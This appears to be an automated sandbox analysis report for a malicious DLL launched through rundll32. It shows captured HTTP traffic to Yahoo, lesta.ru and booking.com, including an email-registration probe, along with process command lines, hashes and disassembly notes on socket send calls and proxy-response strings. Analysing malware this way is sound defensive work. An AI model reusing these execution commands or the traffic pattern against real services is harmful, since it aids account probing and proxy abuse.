2023-12-10 16:51:58 UTC	457	OUT	GET /id/state.json/ HTTP/1.1 Host: lesta.ru Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.106 accept: application/json, text/javascript, /; q=0.01 accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 referer: https://eu.wargaming.net/id/signin/ x-requested-with: XMLHttpRequest Accept-Encoding: gzip, deflate
2023-12-10 16:52:00 UTC	2627	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 37 34 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 10 Dec 2023 16:52:00 GMTContent-Type: application/x-javascript; charset=utf-8Content-Length: 1742Connection: closeVary: Accept-EncodingVary: Accept-EncodingX-Frame-Options: DENYVary: Accept-Language
2023-12-10 16:52:00 UTC	1742	IN	Data Raw: 7b 22 47 65 6e 65 72 61 6c 22 3a 20 7b 22 4c 61 6e 67 75 61 67 65 43 6f 64 65 22 3a 20 22 72 75 22 7d 2c 20 22 52 65 71 75 65 73 74 22 3a 20 7b 22 41 63 63 6f 75 6e 74 49 6e 66 6f 22 3a 20 7b 22 4c 6f 67 69 6e 22 3a 20 6e 75 6c 6c 2c 20 22 45 6d 61 69 6c 22 3a 20 6e 75 6c 6c 2c 20 22 49 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 42 61 6e 22 3a 20 6e 75 6c 6c 2c 20 22 54 65 6c 65 70 6f 72 74 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 52 65 63 6f 76 65 72 79 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 7d 2c 20 22 48 61 73 53 74 61 66 66 49 70 22 3a 20 66 61 6c 73 65 2c 20 22 43 53 52 46 5f 54 4f 4b 45 4e 22 3a 20 22 44 37 41 35 43 66 69 4b 32 4e 52 53 72 78 62 77 4e 68 6b 70 77 6a 49 6e 46 69 56 32 71 79 72 Data Ascii: {"General": {"LanguageCode": "ru"}, "Request": {"AccountInfo": {"Login": null, "Email": null, "IsAuthenticated": false, "Ban": null, "TeleportRequired": false, "RecoveryRequired": false}, "HasStaffIp": false, "CSRF_TOKEN": "D7A5CfiK2NRSrxbwNhkpwjInFiV2qyr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	50231	18.244.102.111	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:58 UTC	578	OUT	POST /api/identity/authenticate/v1.0/enter/email/submit HTTP/1.1 Host: account.booking.com Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36 Content-Type: application/json Content-Length: 76 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Origin: https://account.booking.com Referer: https://account.booking.com/ X-Booking-Client: ap X-Requested-With: XMLHttpRequest
2023-12-10 16:51:58 UTC	76	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 66 69 65 72 22 3a 7b 22 74 79 70 65 22 3a 22 49 44 45 4e 54 49 46 49 45 52 5f 54 59 50 45 5f 5f 45 4d 41 49 4c 22 2c 22 76 61 6c 75 65 22 3a 22 72 63 6b 76 61 6b 6f 36 40 70 6f 62 6f 78 2e 73 6b 22 7d 7d Data Ascii: {"identifier":{"type":"IDENTIFIER_TYPE__EMAIL","value":"rckvako6@pobox.sk"}}
2023-12-10 16:51:59 UTC	2682	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 73 65 72 76 65 72 3a 20 65 6e 76 6f 79 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 35 39 20 47 4d 54 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 62 6b 6e 67 5f 73 73 6f 5f 73 65 73 73 69 6f 6e 3d 65 33 30 3b 20 64 6f 6d 61 69 6e 3d 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 3b 20 70 61 74 68 3d 2f 3b 20 65 78 70 69 72 65 73 3d 46 72 69 2c 20 30 38 2d 44 65 63 2d 32 30 32 38 20 31 36 3a 35 Data Ascii: HTTP/1.1 200 OKContent-Type: application/json; charset=UTF-8Transfer-Encoding: chunkedConnection: closeserver: envoydate: Sun, 10 Dec 2023 16:51:59 GMTset-cookie: bkng_sso_session=e30; domain=.booking.com; path=/; expires=Fri, 08-Dec-2028 16:5
2023-12-10 16:51:59 UTC	331	IN	Data Raw: 31 34 34 0d 0a 7b 22 6e 65 78 74 53 74 65 70 22 3a 22 53 54 45 50 5f 52 45 47 49 53 54 45 52 5f 5f 50 41 53 53 57 4f 52 44 22 2c 22 69 64 65 6e 74 69 66 69 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 22 72 63 6b 76 61 6b 6f 36 40 70 6f 62 6f 78 2e 73 6b 22 2c 22 74 79 70 65 22 3a 22 49 44 45 4e 54 49 46 49 45 52 5f 54 59 50 45 5f 5f 45 4d 41 49 4c 22 7d 2c 22 63 6f 6e 74 65 78 74 22 3a 7b 22 76 61 6c 75 65 22 3a 22 55 6f 67 42 6b 68 52 35 44 70 42 49 55 62 64 75 7a 55 4c 79 63 6e 53 74 71 33 6b 41 49 46 74 74 4e 74 63 55 34 6b 6c 52 39 5f 2d 56 32 6a 73 71 70 36 53 56 32 57 50 30 4a 50 6d 74 56 6c 4d 50 43 6f 34 6d 38 55 46 79 57 32 39 55 2d 79 65 55 78 59 53 2d 47 6d 77 55 53 61 66 61 39 6b 7a 58 55 6e 57 35 38 67 75 72 55 2d 51 64 79 35 74 79 45 55 4c 42 4a Data Ascii: 144{"nextStep":"STEP_REGISTER__PASSWORD","identifier":{"value":"rckvako6@pobox.sk","type":"IDENTIFIER_TYPE__EMAIL"},"context":{"value":"UogBkhR5DpBIUbduzULycnStq3kAIFttNtcU4klR9_-V2jsqp6SV2WP0JPmtVlMPCo4m8UFyW29U-yeUxYS-GmwUSafa9kzXUnW58gurU-Qdy5tyEULBJ
2023-12-10 16:51:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	50230	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:58 UTC	839	OUT	GET /search;_ylt=AwrFcoiq7HVl.0ksASZXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=50&pz=7&bct=0&pstart=9 HTTP/1.1 Host: search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; PROMO=ono_sc=3&ono_fts=1702227048&ltv_pid=sfp&ltv_new=1&ltv_ts=1702227048&ltv_sts=1702227114&ltv_c=7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:51:59 UTC	2096	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 35 39 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:51:59 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:51:59 UTC	5294	IN	Data Raw: 32 64 65 66 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d Data Ascii: 2def<!doctype html><html id="atomic" class="NoJs" lang="en-US"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yim
2023-12-10 16:51:59 UTC	5792	IN	Data Raw: 74 65 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 29 3a 28 74 3d 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 2e 70 72 6f 74 6f 74 79 70 65 3d 74 2c 6e 65 77 20 6e 29 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 65 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 76 61 72 20 74 2c 6e 3d 7b 7d 3b 66 6f 72 28 74 20 69 6e 20 65 29 75 28 65 2c 74 29 26 26 28 6e 75 6c 6c 21 3d 65 5b 74 5d 26 26 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 5b 74 5d 29 3f 28 6e 5b 74 5d 3d 5b 5d 2c 65 5b 74 5d 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 3f 6e 5b 74 5d 2e 70 75 73 68 28 68 28 65 29 29 3a 6e 5b 74 5d 2e 70 75 73 68 28 Data Ascii: te?Object.create(t.prototype):(t=t.prototype,n.prototype=t,new n),e.prototype.constructor=e},clone:function h(e){var t,n={};for(t in e)u(e,t)&&(null!=e[t]&&Array.isArray(e[t])?(n[t]=[],e[t].forEach(function(e){"object"==typeof e?n[t].push(h(e)):n[t].push(
2023-12-10 16:51:59 UTC	681	IN	Data Raw: 72 65 72 70 6f 6c 69 63 79 26 26 79 28 74 3d 74 7c 7c 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 72 65 66 65 72 72 65 72 70 6f 6c 69 63 79 22 29 29 3b 62 72 65 61 6b 7d 72 3d 72 2e 70 61 72 65 6e 74 4e 6f 64 65 7d 72 65 74 75 72 6e 21 30 7d 2c 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 3d 65 2c 74 68 69 73 2e 69 6e 6a 65 63 74 59 6c 63 3d 64 2c 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 26 26 28 69 3d 6e 65 77 20 52 65 67 45 78 70 28 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 29 29 2c 63 2e 79 6c 63 50 61 72 61 6d 26 26 28 75 2e 61 65 28 6e 2c 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 74 68 69 73 2e 6d 64 65 68 29 2c 74 3d 21 30 29 7d 2c 64 65 73 74 72 6f 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 26 26 28 75 2e 64 65 28 6e 2c 22 6d 6f 75 73 65 64 Data Ascii: rerpolicy&&y(t=t\|\|r.getAttribute("referrerpolicy"));break}r=r.parentNode}return!0},init:function(e){c=e,this.injectYlc=d,c.cbclk_regexp&&(i=new RegExp(c.cbclk_regexp)),c.ylcParam&&(u.ae(n,"mousedown",this.mdeh),t=!0)},destroy:function(){t&&(u.de(n,"moused
2023-12-10 16:51:59 UTC	5792	IN	Data Raw: 31 31 31 31 39 0d 0a 5c 2e 73 65 61 72 63 68 5c 5c 2e 79 61 68 6f 6f 5c 5c 2e 63 6f 6d 5c 5c 5c 2f 2e 2b 5c 5c 5c 2f 52 55 3d 28 5b 5e 5c 5c 5c 2f 5d 2b 29 5c 5c 5c 2f 22 2c 22 72 65 66 65 72 72 65 72 70 6f 6c 69 63 79 22 3a 22 6f 72 69 67 69 6e 22 2c 22 79 6c 63 50 61 72 61 6d 22 3a 7b 22 72 74 22 3a 30 7d 7d 29 3b 69 66 28 77 2e 59 41 48 4f 4f 20 26 26 20 77 2e 59 41 48 4f 4f 2e 53 42 29 7b 20 77 2e 59 41 48 4f 4f 2e 53 42 2e 63 6f 6e 66 69 67 20 3d 20 7b 22 62 65 61 63 6f 6e 5f 68 6f 73 74 22 3a 22 67 65 6f 2e 79 61 68 6f 6f 2e 63 6f 6d 22 2c 22 69 31 33 6e 22 3a 7b 22 73 70 61 63 65 69 64 22 3a 22 32 37 36 36 36 37 39 22 2c 22 70 76 69 64 22 3a 22 4b 7a 6a 52 5a 44 45 77 4c 6a 47 76 32 6b 6d 45 5a 58 58 73 56 41 67 73 4d 54 41 79 4c 67 41 41 41 41 43 Data Ascii: 11119\.search\\.yahoo\\.com\\\/.+\\\/RU=([^\\\/]+)\\\/","referrerpolicy":"origin","ylcParam":{"rt":0}});if(w.YAHOO && w.YAHOO.SB){ w.YAHOO.SB.config = {"beacon_host":"geo.yahoo.com","i13n":{"spaceid":"2766679","pvid":"KzjRZDEwLjGv2kmEZXXsVAgsMTAyLgAAAAC
2023-12-10 16:51:59 UTC	16384	IN	Data Raw: 64 53 74 6f 63 6b 73 2c 6f 3d 73 2e 63 6f 6e 66 69 67 2c 72 3d 73 2e 63 72 65 61 74 65 45 6c 65 6d 3b 69 66 28 30 3c 61 2e 6c 65 6e 67 74 68 29 7b 74 3d 72 28 6f 2e 63 74 6e 2c 22 6c 69 22 29 2c 69 3d 72 28 6f 2e 68 64 2c 22 64 69 76 22 29 2c 69 63 6f 6e 3d 72 28 6f 2e 69 63 6f 6e 2c 22 64 69 76 22 29 2c 6c 3d 72 28 6f 2e 75 6c 2c 22 75 6c 22 29 2c 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 29 2c 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 63 6f 6e 29 3b 66 6f 72 28 76 61 72 20 6c 3d 72 28 6f 2e 75 6c 2c 22 75 6c 22 29 2c 63 3d 30 3b 63 3c 61 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 66 6f 72 28 76 61 72 20 70 3d 72 28 6f 2e 69 74 65 6d 43 6c 61 73 73 2c 22 64 69 76 22 29 2c 64 3d 61 5b 63 5d 2e 64 61 74 61 2e 66 64 2e 63 6f 6d 70 61 6e 79 59 6b 69 64 2c Data Ascii: dStocks,o=s.config,r=s.createElem;if(0<a.length){t=r(o.ctn,"li"),i=r(o.hd,"div"),icon=r(o.icon,"div"),l=r(o.ul,"ul"),t.appendChild(i),t.appendChild(icon);for(var l=r(o.ul,"ul"),c=0;c<a.length;c++){for(var p=r(o.itemClass,"div"),d=a[c].data.fd.companyYkid,
2023-12-10 16:51:59 UTC	2440	IN	Data Raw: 22 2c 68 3d 65 2e 72 2c 75 3d 30 3b 75 3c 68 2e 6c 65 6e 67 74 68 3b 75 2b 2b 29 64 3d 68 5b 75 5d 2e 6b 2e 6c 65 6e 67 74 68 3e 64 2e 6c 65 6e 67 74 68 3f 68 5b 75 5d 2e 6b 3a 64 3b 76 61 72 20 66 3d 66 2e 63 6f 6e 66 69 67 2c 6d 3d 74 2e 63 72 65 61 74 65 45 6c 65 6d 2c 67 3d 6d 28 66 2e 73 61 2c 22 64 69 76 22 29 2c 76 3d 6d 28 66 2e 73 61 4c 69 73 74 2c 22 75 6c 22 29 2c 79 3d 28 66 2e 62 6f 6c 64 54 61 67 2c 5b 64 2c 65 2e 71 2e 73 75 62 73 74 72 28 30 2c 6f 29 5d 29 3b 66 6f 72 28 67 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d 22 20 22 2b 69 2e 63 73 73 2c 67 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 61 62 73 6f 6c 75 74 65 22 2c 67 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 2d 39 39 39 39 70 78 22 2c 6e 2e 73 61 54 72 61 79 2e 61 70 70 65 6e 64 43 68 Data Ascii: ",h=e.r,u=0;u<h.length;u++)d=h[u].k.length>d.length?h[u].k:d;var f=f.config,m=t.createElem,g=m(f.sa,"div"),v=m(f.saList,"ul"),y=(f.boldTag,[d,e.q.substr(0,o)]);for(g.className+=" "+i.css,g.style.position="absolute",g.style.left="-9999px",n.saTray.appendCh
2023-12-10 16:51:59 UTC	1679	IN	Data Raw: 3b 73 77 69 74 63 68 28 74 29 7b 63 61 73 65 20 33 38 3a 63 61 73 65 20 34 30 3a 69 66 28 64 2e 6c 65 6e 67 74 68 29 7b 6f 28 29 3b 66 6f 72 28 76 61 72 20 73 2c 6e 3d 64 2e 6c 65 6e 67 74 68 3b 34 30 3d 3d 74 3f 69 3c 30 7c 7c 6e 2d 31 3c 3d 69 3f 69 3d 30 3a 69 2b 2b 3a 69 3c 3d 30 3f 69 3d 6e 2d 31 3a 69 2d 2d 2c 21 28 73 3d 64 5b 69 5d 29 2e 6c 69 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 29 3b 6c 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 3d 69 2c 70 2e 61 73 73 69 73 74 49 74 65 6d 3d 73 2c 68 2e 76 61 6c 75 65 3d 73 2e 64 61 74 61 2e 6b 2c 72 28 73 29 2c 53 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 65 29 2c 75 3d 21 30 7d 62 72 65 61 6b 3b 63 61 73 65 20 39 3a 63 61 73 65 20 33 39 3a 69 66 28 39 21 3d 74 7c 7c 21 63 2e 75 73 65 44 65 66 61 75 6c Data Ascii: ;switch(t){case 38:case 40:if(d.length){o();for(var s,n=d.length;40==t?i<0\|\|n-1<=i?i=0:i++:i<=0?i=n-1:i--,!(s=d[i]).li.parentNode;);l.selectedIndex=i,p.assistItem=s,h.value=s.data.k,r(s),S.stopPropagation(e),u=!0}break;case 9:case 39:if(9!=t\|\|!c.useDefaul
2023-12-10 16:51:59 UTC	16384	IN	Data Raw: 61 73 65 2c 74 29 2c 28 73 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 29 2e 6f 70 65 6e 28 22 47 45 54 22 2c 69 2c 21 30 29 2c 73 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 3d 21 30 2c 73 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 29 2c 6e 2e 70 6c 61 63 65 68 6f 6c 64 65 72 7c 7c 28 73 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 73 2e 73 74 61 74 75 73 3b 28 34 3d 3d 73 2e 72 65 61 64 79 53 74 61 74 65 26 26 32 30 30 3c 3d 65 26 26 65 3c 33 30 30 7c 7c 33 30 34 3d 3d 3d 65 7c 7c 31 32 32 33 3d 3d 3d 65 29 26 26 Data Ascii: ase,t),(s=new XMLHttpRequest).open("GET",i,!0),s.withCredentials=!0,s.setRequestHeader("Content-type","application/x-www-form-urlencoded"),n.placeholder\|\|(s.onreadystatechange=function(){var e=s.status;(4==s.readyState&&200<=e&&e<300\|\|304===e\|\|1223===e)&&
2023-12-10 16:51:59 UTC	2209	IN	Data Raw: 67 65 73 74 69 6f 6e 73 3a 7b 72 65 73 75 6c 74 73 3a 5b 5d 7d 7d 2c 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 74 61 67 3a 22 75 6c 22 7d 29 29 2c 73 3d 7b 7d 2c 6e 3d 28 73 5b 47 5d 3d 21 30 2c 73 5b 59 5d 3d 21 30 2c 73 5b 4b 5d 3d 21 30 2c 30 29 2c 61 3d 30 3b 61 3c 65 2e 72 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 7b 76 61 72 20 6f 2c 72 2c 6c 3d 65 2e 72 5b 61 5d 3b 73 5b 6c 2e 6d 5d 7c 7c 28 74 68 69 73 2e 66 64 61 74 61 2e 73 75 67 67 65 73 74 69 6f 6e 73 2e 72 65 73 75 6c 74 73 2e 70 75 73 68 28 7b 6b 65 79 3a 6c 2e 6b 2c 6d 72 6b 3a 6c 2e 6d 7d 29 2c 28 6f 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 74 61 67 3a 22 6c 69 22 2c 63 73 73 3a 74 2b 22 2d 6f 70 74 22 7d 29 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 27 3c 69 6e 70 75 74 20 74 79 Data Ascii: gestions:{results:[]}},this.createElem({tag:"ul"})),s={},n=(s[G]=!0,s[Y]=!0,s[K]=!0,0),a=0;a<e.r.length;a++){var o,r,l=e.r[a];s[l.m]\|\|(this.fdata.suggestions.results.push({key:l.k,mrk:l.m}),(o=this.createElem({tag:"li",css:t+"-opt"})).innerHTML='<input ty

Target ID:	0
Start time:	17:47:52
Start date:	10/12/2023
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\RqrQG7s66x.dll"
Imagebase:	0x570000
File size:	126'464 bytes
MD5 hash:	51E6071F9CBA48E79F10C84515AAE618
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:47:52
Start date:	10/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	17:47:52
Start date:	10/12/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\RqrQG7s66x.dll",#1
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	17:47:52
Start date:	10/12/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\RqrQG7s66x.dll,DllEntry
Imagebase:	0xd50000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	17:47:52
Start date:	10/12/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\RqrQG7s66x.dll",#1
Imagebase:	0xd50000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	17:47:55
Start date:	10/12/2023
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\RqrQG7s66x.dll",DllEntry
Imagebase:	0xd50000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	39.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	99.4%
Total number of Nodes:	180
Total number of Limit Nodes:	27

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 6CB0EB50 Relevance: 41.7, APIs: 18, Strings: 5, Instructions: 1465
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6CB02650: StrStrIA.SHLWAPI(?,?), ref: 6CB026C2

send.WS2_32 ref: 6CB0ED7A
StrStrIA.SHLWAPI ref: 6CB0F1C0
StrStrIA.SHLWAPI ref: 6CB0F2D6
send.WS2_32 ref: 6CB0F844
send.WS2_32 ref: 6CB0F967
send.WS2_32 ref: 6CB0FA81
send.WS2_32 ref: 6CB0FD1D
send.WS2_32 ref: 6CB0FD69
StrStrIA.SHLWAPI ref: 6CB0FDBD
StrStrIA.SHLWAPI ref: 6CB0FDF6
send.WS2_32 ref: 6CB0FE69
send.WS2_32 ref: 6CB0FEA4
send.WS2_32 ref: 6CB0FEEB

Strings

HTTP/1.1 200 OK, xrefs: 6CB0FA5F, 6CB0FEC9
HTTP/1.0 400 Bad RequestContent-Length: 15400 Bad Request, xrefs: 6CB0ED58, 6CB0F67F, 6CB0FCFB
HTTP/1.1 407 Proxy Authentication RequiredProxy-Authenticate: Basic realm="Proxy"Content-Length: 33407 Proxy Authentication Required, xrefs: 6CB0EF8C, 6CB0FD47
